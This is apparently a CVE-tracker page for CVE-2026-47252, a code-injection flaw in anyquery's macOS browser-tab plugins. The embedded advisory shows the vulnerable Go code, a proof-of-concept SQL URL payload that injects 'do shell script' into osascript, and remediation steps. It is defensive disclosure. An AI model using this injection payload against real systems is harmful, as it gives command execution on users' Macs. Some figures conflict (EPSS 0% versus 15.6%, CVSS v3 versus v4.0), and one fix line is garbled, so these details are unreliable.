CVE-2026-47252

CRITICALPre-NVD 9.09.0
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.0 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.0%, top 84% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
9.0
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 9.0Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Anyquery: AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin

AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin

| Field | Value | | ---------------- | ----- | | Repository | julien040/anyquery | | Affected version | 0.4.4 (commit 0abd460) | | Vulnerability | CWE-94 — Improper Control of Generation of Code | | Severity | High |

Summary

The chrome_tabs plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled url value directly into an AppleScript template via fmt.Sprintf(newTabScript, url) at plugins/chrome/tabs.go:141 without any escaping, then passes the result to exec.Command("osascript", "-e", ...). An authenticated anyquery user who can issue SQL INSERT INTO chrome_tabs statements — which requires local CLI access — can break out of the {URL:"..."} property record with a newline-containing payload and inject arbitrary AppleScript statements, including do shell script, achieving OS-level command execution on the macOS host. The same pattern applies to the Update path at tabs.go:169 via the JXA setURL.js script.

Affected Code

plugins/chrome/tabs.go:141 — SQL-supplied url interpolated unescaped into AppleScript template, then executed via osascript -e

func (t *tabsTable) Insert(rows [][]interface{}) error {
	for _, row := range rows {
		url := "chrome://newtab/"
		if rawURL, ok := row[2].(string); ok {
			url = rawURL
		}

cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, url)) output, err := cmd.CombinedOutput() if err != nil { return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(newTabScript, url)) }

}

return nil }

plugins/chrome/tabs.go:169Update path interpolates url into JXA setURL.js template with identical lack of escaping

if url != "" {
			cmd := exec.Command("osascript", "-l", "JavaScript", "-e", fmt.Sprintf(setURLScript, pk, url))
			output, err := cmd.CombinedOutput()
			if err != nil {
				return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(setURLScript, pk, url))
			}
		}

SQL INSERT url column (row[2]) flows through tabsTable.Insertfmt.Sprintf(newTabScript, url)exec.Command("osascript", "-e", ) at tabs.go:141.

Proof of Concept

Step 1 — Insert a newline-bearing URL via SQL: the generated AppleScript closes the {URL:"..."} property record and appends an injected do shell script "id" block, which is passed verbatim to osascript -e.

docker build -f Dockerfile -t anyquery-vuln001 .
docker run --rm anyquery-vuln001 'x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done'

SQL equivalent: INSERT INTO chrome_tabs (url) VALUES ('')
where INJECT_URL =
x"}
end tell
do shell script "id"
tell application "Google Chrome"
	make new tab with properties {URL:"done

[sink:tabs.go:141] Script passed to osascript -e:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell
[mock-osascript] Received script:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell

RESULT: PASS — injection payload reached osascript -e verbatim; "do shell script \"id\"" present in generated script (tabs.go:141)

See attached files: Dockerfile, poc/inject_demo.go, poc/go.mod vuln-001.zip

Impact

Any local user authenticated to the anyquery CLI who can run SQL against the chrome_tabs virtual table can achieve arbitrary OS command execution on the macOS host with the privileges of the anyquery process. Because anyquery exposes its SQL interface over an HTTP server (accessible to any user who can reach the endpoint), this can be exploited by any client with INSERT or UPDATE access to the browser-tab plugins, without requiring Chrome credentials or macOS admin rights. The injected AppleScript runs under the user's macOS session, giving access to the file system, keychain prompts, and any application scriptable via Apple Events.

Remediation

Escape double-quote and newline characters in the url value before interpolation, or avoid string templating entirely. Specifically in plugins/chrome/tabs.go:

// Replace fmt.Sprintf(newTabScript, url) with:
safeURL := strings.ReplaceAll(url, ", \")
safeURL = strings.ReplaceAll(safeURL, "\n", "")
safeURL = strings.ReplaceAll(safeURL, "\r", "")
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, safeURL))

A more robust fix is to pass the URL as an AppleScript variable declared via a -e prefix argument rather than string-interpolating it into the script body, or to use the osascript argv mechanism so the URL never appears inside the script source. Apply the same fix to fmt.Sprintf(setURLScript, pk, url) at tabs.go:169 for the Update path. Validate that the URL conforms to an allowed scheme (https://, http://, chrome://) before passing it to either handler.

CVSS v3
9.0
EG Score
9.0(low)
EPSS
15.6%
KEV
Not listed

Published

June 8, 2026

Last Modified

June 8, 2026

Vendor Advisories for CVE-2026-47252(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(4 across 1 ecosystem)
Go(4)
PackageVulnerable rangeFixed inDependents
github.com/julien040/anyquery/plugins/brave0.0.0-20240826075852-c651df0b8767
github.com/julien040/anyquery/plugins/chrome0.0.0-20240826075852-c651df0b8767
github.com/julien040/anyquery/plugins/edge0.0.0-20240826075852-c651df0b8767
github.com/julien040/anyquery/plugins/safari0.0.0-20240826075852-c651df0b8767

Data Freshness Timeline

(refreshed 27× in last 7d / 150× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 150 total refreshes for this CVE.

  1. 2026-07-06 01:37 UTCEG score recompute
  2. 2026-07-05 21:52 UTCEG score recompute
  3. 2026-07-05 17:17 UTCEG score recompute
  4. 2026-07-05 00:53 UTCEG score recompute
  5. 2026-07-04 20:06 UTCEG score recompute
  6. 2026-07-04 14:48 UTCEG score recompute
  7. 2026-07-03 23:40 UTCEG score recompute
  8. 2026-07-03 19:54 UTCEG score recompute
  9. 2026-07-03 16:09 UTCEG score recompute
  10. 2026-07-03 09:21 UTCEG score recompute
  11. 2026-07-03 01:43 UTCEG score recompute
  12. 2026-07-02 21:57 UTCEG score recompute
  13. 2026-07-02 18:11 UTCEG score recompute
  14. 2026-07-02 13:59 UTCEG score recompute
  15. 2026-07-02 10:14 UTCEG score recompute
  16. 2026-07-02 06:29 UTCEG score recompute
  17. 2026-07-02 02:41 UTCEG score recompute
  18. 2026-07-01 22:56 UTCEG score recompute
  19. 2026-07-01 18:44 UTCEG score recompute
  20. 2026-07-01 14:58 UTCEG score recompute
  21. 2026-07-01 11:13 UTCEG score recompute
  22. 2026-07-01 07:28 UTCEG score recompute
  23. 2026-07-01 03:43 UTCEG score recompute
  24. 2026-06-30 23:58 UTCEG score recompute
  25. 2026-06-30 20:09 UTCEG score recompute
Show 75 more
  1. 2026-06-30 16:24 UTCEG score recompute
  2. 2026-06-30 07:21 UTCEG score recompute
  3. 2026-06-30 02:48 UTCEG score recompute
  4. 2026-06-29 23:02 UTCEG score recompute
  5. 2026-06-29 19:15 UTCEG score recompute
  6. 2026-06-29 15:00 UTCEG score recompute
  7. 2026-06-29 11:15 UTCEG score recompute
  8. 2026-06-29 07:30 UTCEG score recompute
  9. 2026-06-29 00:47 UTCEG score recompute
  10. 2026-06-28 21:02 UTCEG score recompute
  11. 2026-06-28 17:17 UTCEG score recompute
  12. 2026-06-28 13:30 UTCEG score recompute
  13. 2026-06-28 09:46 UTCEG score recompute
  14. 2026-06-28 06:01 UTCEG score recompute
  15. 2026-06-28 02:16 UTCEG score recompute
  16. 2026-06-27 22:31 UTCEG score recompute
  17. 2026-06-27 18:46 UTCEG score recompute
  18. 2026-06-27 15:01 UTCEG score recompute
  19. 2026-06-27 11:16 UTCEG score recompute
  20. 2026-06-27 07:31 UTCEG score recompute
  21. 2026-06-27 03:45 UTCEG score recompute
  22. 2026-06-26 23:59 UTCEG score recompute
  23. 2026-06-26 20:14 UTCEG score recompute
  24. 2026-06-26 16:29 UTCEG score recompute
  25. 2026-06-26 12:45 UTCEG score recompute
  26. 2026-06-26 04:39 UTCEG score recompute
  27. 2026-06-26 00:52 UTCEG score recompute
  28. 2026-06-25 20:23 UTCEG score recompute
  29. 2026-06-25 16:38 UTCEG score recompute
  30. 2026-06-25 12:49 UTCEG score recompute
  31. 2026-06-25 09:04 UTCEG score recompute
  32. 2026-06-25 05:18 UTCEG score recompute
  33. 2026-06-25 00:57 UTCEG score recompute
  34. 2026-06-24 21:13 UTCEG score recompute
  35. 2026-06-24 14:10 UTCEG score recompute
  36. 2026-06-24 08:05 UTCEG score recompute
  37. 2026-06-24 03:37 UTCEG score recompute
  38. 2026-06-23 23:46 UTCEG score recompute
  39. 2026-06-23 19:45 UTCEG score recompute
  40. 2026-06-23 15:51 UTCEG score recompute
  41. 2026-06-23 02:28 UTCEG score recompute
  42. 2026-06-22 22:42 UTCEG score recompute
  43. 2026-06-22 13:48 UTCEG score recompute
  44. 2026-06-22 05:40 UTCEG score recompute
  45. 2026-06-21 19:41 UTCEG score recompute
  46. 2026-06-21 10:55 UTCEG score recompute
  47. 2026-06-21 05:49 UTCEG score recompute
  48. 2026-06-21 02:01 UTCEG score recompute
  49. 2026-06-20 21:49 UTCEG score recompute
  50. 2026-06-20 15:51 UTCEG score recompute
  51. 2026-06-20 11:39 UTCEG score recompute
  52. 2026-06-20 07:53 UTCEG score recompute
  53. 2026-06-20 03:06 UTCEG score recompute
  54. 2026-06-19 23:13 UTCEG score recompute
  55. 2026-06-19 18:42 UTCEG score recompute
  56. 2026-06-19 13:57 UTCEG score recompute
  57. 2026-06-19 09:58 UTCEG score recompute
  58. 2026-06-19 04:24 UTCEG score recompute
  59. 2026-06-19 00:36 UTCEG score recompute
  60. 2026-06-18 20:49 UTCEG score recompute
  61. 2026-06-18 16:02 UTCEG score recompute
  62. 2026-06-18 11:46 UTCEG score recompute
  63. 2026-06-18 07:21 UTCEG score recompute
  64. 2026-06-18 01:13 UTCEG score recompute
  65. 2026-06-17 21:28 UTCEG score recompute
  66. 2026-06-17 17:44 UTCEG score recompute
  67. 2026-06-17 13:58 UTCEG score recompute
  68. 2026-06-17 10:13 UTCEG score recompute
  69. 2026-06-17 06:19 UTCEG score recompute
  70. 2026-06-17 02:30 UTCEG score recompute
  71. 2026-06-16 22:45 UTCEG score recompute
  72. 2026-06-16 19:00 UTCEG score recompute
  73. 2026-06-16 15:14 UTCEG score recompute
  74. 2026-06-16 11:29 UTCEG score recompute
  75. 2026-06-16 07:43 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-47252?
CVE-2026-47252 is a critical vulnerability published on June 8, 2026. Anyquery: AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin | Field | Value | | ---------------- | ----- | | Repository | julien040/anyquery | | Affected version | 0.4.4 (commit 0abd460) | | Vulnerability…
When was CVE-2026-47252 disclosed?
CVE-2026-47252 was first published in the National Vulnerability Database on June 8, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-47252 actively exploited?
CVE-2026-47252 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 15.6% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-47252?
CVE-2026-47252 has a CVSS v4.0 base score of 9.0 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-47252?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-47252, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-47252

Explore →

Is Your Infrastructure Affected by CVE-2026-47252?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.